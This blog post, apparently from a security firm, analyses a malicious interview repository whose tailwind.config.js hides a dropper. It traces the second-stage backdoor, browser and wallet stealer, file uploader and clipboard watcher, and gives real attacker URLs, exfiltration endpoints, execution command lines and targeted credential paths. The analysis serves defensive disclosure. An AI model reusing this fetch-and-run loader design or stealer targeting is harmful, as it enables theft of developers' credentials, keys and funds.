Solving a take-home interview test can quickly turn into a nightmare. Notes on developer trust, JavaScript malware, and autonomous detection.
Fineas Silaghi
Introduction
Hey there folks, it's been a while.
In this article, I would like to share with you an unfortunate story that led to an interesting analysis of a creative hack. It all started two days ago, when a good friend of mine messaged me saying that he had been hacked.
I was genuinely surprised, because he is a very experienced engineer. He followed up with the story and told me that a LinkedIn user called Wayan Adrian↗ had contacted him about a software engineering position at shrapnel.com↗.
The two then scheduled a take-home coding test, which was shared as a private GitHub repository called tech-active-workplace-frontend-main under the GitHub account yevhen-o↗.
Wanting to solve the test as quickly as possible, he pulled the repository and started working right away. At first glance, the project looked like a normal React/Web3 take-home test.
The app was called BLAIEXS, and it was supposed to be an NFT campaign platform.
The frontend was React. It had dashboards for brands and admins, an interface for campaign management, NFT creation flows, and many other components.
The backend was an Express API. It handled authentication, dashboard data, KYB checks, NFT creation and claiming, file uploads, and a few stubbed endpoints that made the application feel more realistic.
The project also came with demo data. Running the seed script created a superadmin account, a demo brand account, a demo consumer account, a live campaign called Demo NFT Drop, and a free Demo Collectible NFT with 100 copies.
As for the assignment itself, it was pretty straightforward: improve the wallet connection UI so it shows the blockchain network selected in MetaMask.
Define the async getChainId() function in src/utils/ethereum.js, call eth_chainId, and return the parsed hex value or null.
In the same file, define the getNetworkLabel(chainId) helper function, which looks up the chain ID in the existing NETWORKS object and returns a readable network name.
Lastly, in src/components/Wallet/ConnectWalletButton.js, the candidate had to call those helper functions after a wallet was connected.
Hidden in plain sight
With the task understood, my friend finished the requirements in no time. After that, he did what any candidate would naturally do: he tried to run the project to verify his work. That is when things started to fall apart. The development server did not come up, even after waiting for a long time. At that point, he became suspicious, unplugged the internet cable, and messaged me.
After he explained what happened, I asked him to send over the assignment project. I ran the trivial command: ls -la and something immediately stood out:
total 1440-rw-r--r--@ 1 fineassilaghi staff 3518 Jun 15 04:19 README.md
-rw-r--r--@ 1 fineassilaghi staff 4081 Jun 15 04:19 assessments.md
-rw-r--r--@ 1 fineassilaghi staff 7067 Jun 15 04:19 config-overrides.js
drwxr-xr-x 12 fineassilaghi staff 384 Jul 9 01:01 malware-analysis
drwxr-xr-x 1255 fineassilaghi staff 40160 Jul 915:09 node_modules
-rw-r--r--@ 1 fineassilaghi staff 3901 Jun 15 04:19 package.json
-rw-r--r--@ 1 fineassilaghi staff 83 Jun 15 04:19 postcss.config.js
drwxr-xr-x@ 13 fineassilaghi staff 416 Jun 15 04:19 public
drwxr-xr-x@ 6 fineassilaghi staff 192 Jun 15 04:19 scripts
drwxr-xr-x@ 12 fineassilaghi staff 384 Jun 15 04:19 server
drwxr-xr-x@ 25 fineassilaghi staff 800 Jun 15 04:19 src
-rw-r--r--@ 1 fineassilaghi staff 30987 Jul 915:28 tailwind.config.js
-rw-r--r--@ 1 fineassilaghi staff 678348 Jul 915:08 yarn.lock
On disk, the file tailwind.config.js had 30987 bytes, but it only displayed 97 lines inside the editor.
This can also be confirmed by running wc -c -> 30987 tailwind.config.js.
Looking more closely at line 95, near the end of the file, after thousands of whitespace characters, we can spot a dense blob of characters:
To an untrained eye, this looks like random noise. To a reverse engineer, it looks like obfuscation: real JavaScript code that has been rearranged, encoded, and wrapped so humans can no longer read it easily, while the JavaScript interpreter can still execute it just fine.
That hidden blob immediately sparked my curiosity. It was no longer just a question of why the app behaved strangely; now I wanted to know why someone had gone through the trouble of obfuscating and hiding it there. So I decided to investigate it further, understand the obfuscation logic, and eventually deobfuscate it so I could understand what the JavaScript code does.
Unscrambling
The blob used a very common↗ JavaScript obfuscation pattern:
Put important strings in a large array.
Rotate that array until a checksum matches.
Hide string access behind decoder functions.
Replace obvious names with numeric indexes and wrapper calls.
The point is not to make the code unrunnable. It is only to make it very hard for humans to read.
The blob did the same thing at a much larger scale. It had two decoder functions, one for simple base64-style string recovery and another that applied an RC4-like stream cipher with a per-string key. It also rotated the string array before the decoder indexes made sense.
The deobfuscation logic was:
Extract the string array.
Reproduce the array rotation until the expected checksum is reached.
Reimplement the decoder functions.
Replace calls like b(0x214) and c(0x2f1, "key") with real strings.
Simplify wrapper objects and helper functions until the intent is visible.
We did not need to run the malware to deobfuscate it. We only needed to evaluate the string-decoding machinery, then replace the obfuscated calls with their decoded values. After this pass, the blob became readable:
A malware dropper is a type of malicious program used by attackers to sneak other harmful software (like viruses, ransomware, or spyware) onto a target computer or device. It acts like a Trojan horse. It looks harmless on the outside to trick the user or security systems.
Act 2: Getting myself infected
At this point, we are certain that this is malware, but we do not yet know what the damage was. The only way to assess it is to fetch the pack program from http://45.146.252.17/api/service/59e605dd78fb2aafccd1b622f06a00ca and analyze it as well.
So I decided to expose myself to the malware too, but on a virtual machine, of course. That way, I could take a closer look at its behavior and better understand what the scammer was trying to do.
The sandbox
For this experiment, I built a disposable Windows 11 ARM virtual machine using UTM. The goal was to observe the malware in an isolated environment, collect evidence, and avoid exposing my host system.
The VM was configured with Windows 11 ARM, 4096 MiB of memory, a 64 GiB disk, shared/NAT networking, and shared folders disabled.
Once the VM was ready, I installed a small set of tools to capture the malware's behavior from multiple angles:
Wireshark↗, for packet capture and C2/exfiltration traffic.
Sysinternals Procmon, for process, registry, and filesystem activity during the run.
I also planted realistic decoy material so I could see what the malware tried to collect. The decoys included SSH keypairs, private GitHub repositories, crypto wallets, browser data, and other files that would be attractive to an infostealer.
Red Light, Green Light
Once the setup was ready, the plan was simple: start the "interview program" inside the VM, let the malicious build chain execute, keep the monitoring tools running long enough to capture its behavior, then stop the run and preserve the evidence.
yarn start
I let it run for roughly 10 minutes. Then I stopped the Wireshark capture and shut down the system and process monitoring tools. The run produced three artifacts that became the basis for the rest of the analysis: run1-full.pcapng, run1-sysmon.evtx, and stage2-pack.bin.
Act 3: Malware anatomy
We know that the obfuscated script connects to a remote IP and downloads the second-stage payload from it. Because of that, the first thing I did was look at the network traffic. The PCAP gives the cleanest timeline, and the downloader should be visible on the wire.
This gave us an overview of the traffic that went through the malicious IP.
180 GET /api/service/59e605dd78fb2aafccd1b622f06a00ca
280 POST /api/service/process/59e605dd78fb2aafccd1b622f06a00ca
280 POST /api/service/makelog
17641 GET /socket.io/?EIO=4&transport=polling&t=062lv9sy
17641 POST /socket.io/?EIO=4&transport=polling&t=06guj3rk&sid=PeKqLRpUkbHp5ZsSAAFS
17641 GET /socket.io/?EIO=4&transport=polling&t=06gv05sm&sid=PeKqLRpUkbHp5ZsSAAFS
17641 GET /socket.io/?EIO=4&transport=websocket&sid=PeKqLRpUkbHp5ZsSAAFS
25887646 POST /upload
37649 POST /upload
The result was not subtle. It immediately gave the investigation a clearer shape:
port 80 was used mostly for the first-stage fetch, host registration, and logs.
port 7641 was a Socket.IO command-and-control channel (backdoor).
port 7646 received thousands of file uploads.
port 7649 received a smaller number of larger uploads.
Now, looking at the first request sent to this IP, we can see that it matched exactly what the static loader had predicted:
GET /api/service/59e605dd78fb2aafccd1b622f06a00ca
Host: 45.146.252.17
Response: HTTP 200Content-Type: text/html;charset=utf-8
Content-Length: 150897
The response body seems to have the exact format that the dropper expected: base64_iv:base64_ciphertext
So, the malicious tailwind.config.js contacted 45.146.252.17, downloaded an encrypted blob, decrypted it with AES-256-CBC, wrote the result (plaintext) to disk at %TEMP%\pack, and executed it with node pack.
A pack of wolves
The downloaded file, pack (also referred to as the second-stage payload), is where the real malware logic sits. Let's have a look at it:
SHA-256: 68a64d8c015c06fd70bcb8c5878c1e430da827dd00b62f8e6ef69e76bb94de5b
Size: 113136 bytes
Type: ASCII JavaScript, one long line
Surprisingly, the contents of pack were not actually readable. However, they did look oddly familiar:
That's right. The decryption did not give us clean source code. It only peeled off the encryption layer and revealed yet another obfuscated JavaScript program. Luckily, it uses the exact same obfuscation technique that was used inside the tailwind.config.js file. This means we can use the same deobfuscation technique to make it human readable.
Taming the wolves
After deobfuscating the source code, we get the following output:
A lot better, but still a bit overwhelming. If we zoom out from the noisy details of the code, we can spot a rather simple scheme that lets us break down the malware into four different components.
In simplified JavaScript, the whole thing looks roughly like this:
Program 1: write a command-and-control backdoor to disk, then run it.
So the second-stage payload is really a small process tree, not a single script. Let's take a closer look at each subprogram individually.
Program 1: scdata, the backdoor
The first component is scdata. This one is not executed with node -e; the bootstrap writes it to disk inside the Windows temp directory and then launches it as a normal Node.js script:
That small detail matters. A node -e command is noisy but temporary. A file named scdata in %TEMP% is easier to relaunch, easier to inspect from a process tree, and it gives the attacker a proper long-running child process.
Once it starts, scdata gives itself a more innocent name, vhost.ctl, and creates a small single-instance marker:
The first dependency group gives it terminal and SSH-like behavior. The second group is for desktop interaction: screenshots, clipboard access, mouse movement, clicks, scrolling, and keyboard input. In other words, this is not just a passive stealer. It is designed to become an interactive remote-control channel.
The Socket.IO event names make that pretty explicit:
180 GET /api/service/59e605dd78fb2aafccd1b622f06a00ca
280 POST /api/service/process/59e605dd78fb2aafccd1b622f06a00ca
280 POST /api/service/makelog
17641 GET /socket.io/?EIO=4&transport=polling&t=062lv9sy
17641 POST /socket.io/?EIO=4&transport=polling&t=06guj3rk&sid=PeKqLRpUkbHp5ZsSAAFS
17641 GET /socket.io/?EIO=4&transport=polling&t=06gv05sm&sid=PeKqLRpUkbHp5ZsSAAFS
17641 GET /socket.io/?EIO=4&transport=websocket&sid=PeKqLRpUkbHp5ZsSAAFS
Looking only at port 7641, we can also see the Socket.IO handshake and the first server-side event:
That whour event lines up with the deobfuscated handler that asks the infected host to identify itself.
Sysmon confirms the same execution path from the process side:
04:22:11.924404 UTC cmd.exe /d /s /c "npm i axios socket.io-client ... && node scdata"04:22:15.259970 UTC node.exe scdata
04:22:15.688543 UTC cmd.exe /d /s /c "powershell -NoProfile -Command Get-CimInstance Win32_ComputerSystem ..."04:22:23.567783 UTC npminstall socket.io-client ssh2 node-pty --no-warnings --no-progress --loglevel silent
04:23:49.551973 UTC npminstall sharp screenshot-desktop clipboardy @nut-tree-fork/nut-js --no-warnings --no-progress --loglevel silent
So the first component of the malware offers the attacker shell access and desktop-control features.
Program 2: ldata, the browser and wallet stealer
The second component is ldata. It is launched almost exactly like scdata: the bootstrap writes a decoded script into the temporary directory, installs the one package it needs, and then runs it with Node:
1fs.writeFileSync(path.join(os.tmpdir(),"ldata"), browserStealerSource);23execHidden("npm i axios && node ldata",{4cwd: os.tmpdir(),5});
This child process is more focused. It does not expose a remote shell. Instead, it hunts for browser profile data and wallet-extension storage, then uploads whatever it can read to a separate upload service:
process title: npm-cache
upload endpoint: http://45.146.252.17:7649/upload
browser LevelDB check: http://45.146.252.17:7649/cldbs
Browser Data
The target list is cross-platform. On Windows it walks Chrome, Edge, Brave, and LT Browser user-data directories. On macOS it also checks Chrome, Brave, Opera, LT Browser, Edge, and the local login keychain. On Linux it checks the equivalent Chromium-style profile folders.
For every Default or Profile* directory it finds, it tries to upload the Chromium databases that usually contain saved passwords, autofill data, payment metadata, and account metadata:
Login Data
Login Data For Account
Web Data
Then it moves into extension storage: Local Extension Settings/<extension-id>
Crypto Data
The hard-coded list contains wallet extension IDs. One of them is MetaMask: nkbihfbeogaeaoehlefnkodbefgpgknn
The first eight wallet extension paths are treated specially. ldata copies the LevelDB directory to a temporary folder, uploads the individual files, and then calls the cldbs endpoint so the server can decide whether that LevelDB capture is complete or should be retried.
We can also observe the program nicely inside the PCAP because ldata uses port 7649:
Chrome-derived browsers encrypt some fields locally, so a database file alone is not always enough to recover plaintext secrets. But it is still valuable. Combined with local OS secrets, cookies, extension storage, or an unlocked browser context, these files become part of a larger credential-theft pipeline.
So ldata is the browser and wallet sweep. It is not waiting for an operator. It runs, collects Chromium databases and wallet extension state, sends them to 45.146.252.17:7649, and exits once the relevant LevelDB folders are either uploaded or marked complete by the server.
Program 3: the recursive file scanner
The third component is the noisy one. Unlike scdata and ldata, the bootstrap does not write this script to a separate file. It launches the whole scanner directly from memory with node -e:
That makes the process command line ugly, but the purpose is simple: recursively walk the filesystem, decide which files look interesting, and upload them to the attacker-controlled server http://45.146.252.17:7646/upload.
The scanner starts from the current user's home directory. On Windows, it also enumerates drive letters and scans each drive root:
This is where the decoys paid off. The fake SSH material, repository files, wallet-looking files, and source code all showed up in the traffic.
So Program 3 is the broad filesystem sweep. ldata goes after browser and wallet storage; this one goes after everything else that might be useful: SSH keys, config files, source code, local secrets, history files, wallet-looking names, and project files.
Program 4: the clipboard watcher
The fourth component is the smallest one, but it is still nasty. Like the file scanner, it is launched directly from memory with node -e:
Its job is simple: wait a few seconds, read the clipboard in a loop, and post any changed clipboard value back to the attacker.
On macOS it reads the clipboard with pbpaste. On Windows it shells out to PowerShell: powershell -NoProfile -NonInteractive Get-Clipboard
The risk is obvious: people copy passwords, recovery phrases, private keys, API tokens, one-time codes, GitHub URLs, wallet addresses, and deployment secrets all day long. A clipboard watcher does not need to understand any of those formats. It only needs to notice that the clipboard changed.
Act 4: Postmortem
Looking back, this was not the most complex malware family in the world, but the delivery was smart. It was built for software engineers: people who are used to cloning private repositories, installing dependencies and running build scripts.
How this could have been prevented
The boring advice is still the best advice: treat a take-home repository like untrusted executable code until you have proven otherwise.
Before running yarn install, npm install, yarn build, or yarn start, read package.json, lifecycle scripts, config files, and obvious dependency hooks. This sample hid in tailwind.config.js, which is exactly the kind of file people skim past. Config files are code. Dependencies are code. Build tools are code.
For interview projects from strangers, use a disposable VM or container with no real secrets mounted into it. Do not use your personal browser profile, password manager, SSH keys, crypto wallets, GitHub tokens, cloud credentials, banking sessions, or primary email account. If the task needs a wallet or account, create a fresh test identity with no funds and no reuse.
If the assignment is Web3-related, be even more strict. Use a testnet, never connect a real wallet to an unknown project, even if it seems harmless.
How to check if you've been compromised
These checks are specific to what I encountered in my analysis. They are not a full forensic playbook, but they are a good first pass.
On macOS or Linux:
Start by checking running Node processes:
ps aux |grep -E 'node|pack|scdata|ldata|npm-compiler|vhost\.ctl'|grep -v grep
Then check for active connections to the infrastructure observed in the lab:
If any of these commands finds a live Node process, a connection to 45.146.252.17, or the pack / scdata / ldata artifacts, assume the machine has been exposed.
How to clean a compromised machine
First, disconnect the machine from the network. Do not keep browsing, do not keep debugging in the infected environment, and do not copy more secrets onto it.
If you need evidence, save it before deleting anything: process list, network connections, suspicious files, browser history, and the malicious repository. After that, terminate the payloads.
Then remove the malicious repository and its node_modules folder, or preserve a zipped copy offline if you still need it for analysis.
The important part is secret rotation. This malware was built to steal browser data, wallet extension data, interesting files, and clipboard contents. That means cleanup is not just deleting files. Rotate SSH keys, GitHub tokens, npm tokens, cloud keys, API keys, deployment secrets, and passwords saved in the browser. Revoke active sessions. If a wallet seed or private key may have touched the machine, move funds to a brand-new wallet generated on a clean device.
Closing thoughts
We are AISafe Labs, a team of top security researchers who enjoy diving headfirst into the most challenging subjects. We hope this article managed to spread a bit of awareness around this kind of attack. If this write-up prevents even one person from running malware on their personal machine, then it did its job, so please share the article with your friends!
One of the more worrying parts is that traditional antivirus products did not flag this repository, and even popular AI coding agents used to solve the interview task did not identify the malicious code hidden inside the project. The app looked normal enough to pass through the tools developers often trust most.
Here's how the finding looks in the AISafe platform:
AssessmentsInterview ProjectAIS-FSO-MLW-001
critical
Remote Code Execution in tailwind.config.js During Config Load
Description
The tailwind.config.js file exports conventional Tailwind configuration through line 94, then appends a 27KB obfuscated immediately invoked function expression on line 95. Tailwind loads JavaScript configuration files by evaluating them as Node modules, so any developer tool, build script, editor integration, Tailwind CLI invocation, bundler, or CI job that loads this config executes the appended code before it receives the styling metadata.
The obfuscated routine crosses out of the expected Tailwind configuration boundary and performs build-time system actions. Runtime instrumentation observed it requiring Node built-ins including os, fs, path, crypto, and child_process, installing axios and socket.io-client in the temporary directory, registering process-level exception handlers, and making an HTTP GET request to http://45.146.252.17/api/service/59e605dd78fb2aafccd1b622f06a00ca. The response bytes are split on :, base64-decoded, decrypted with aes-256-cbc using a key derived from 59e605dd78fb2aafccd1b622f06a00ca and salt salt, and written to /tmp/pack. The routine then executes the written payload with child_process.execSync('node pack', { windowsHide: true, cwd: os.tmpdir() }).
The vulnerability gives the remote endpoint control over code that runs as the OS account loading the Tailwind config. The recorded validation used real Node crypto with a locally generated response in the same base64(iv):base64(ciphertext) format and confirmed that attacker-chosen plaintext decrypted successfully, reached fs.writeFileSync('/tmp/pack', ...), and then reached the node pack execution sink. The flow contains no signature verification, hash allowlist, origin pinning, path containment, or guard that prevents executing the downloaded payload.
Vulnerability Flow
6 Steps
tailwind.config.jsL95
SOURCE
module-scope IIFE
Repository-controlled JavaScript appended after the Tailwind module.exports object runs whenever Node or Tailwind requires the config. This producer is outside the accepted deterministic Tailwind metadata boundary.
tailwind.config.jsL95
BRIDGE
decoded install command
tailwind.config.jsL95
BRIDGE
remote URL
tailwind.config.jsL95
BRIDGE
response bytes
tailwind.config.jsL95
SINK
/tmp/pack
tailwind.config.jsL95
SINK
node pack
tailwind.config.js
94module.exports = { /* normal Tailwind config */ };
95
96(function obfuscatedLoader() {
97// runs during config evaluation
98})();
Impact
Loading this repository can turn an ordinary frontend build into full code execution on the developer's machine. The downloaded payload runs with the same OS permissions as the person building the project, which means it can read local files, browser profiles, saved credentials, wallet extension data, SSH keys, environment variables, package tokens, cloud credentials, source code, and clipboard contents. In CI, the same path can expose deployment secrets, build artifacts, registry credentials, and production access tokens.
Remediation
Completely remove the obfuscated JavaScript blob from tailwind.config.js.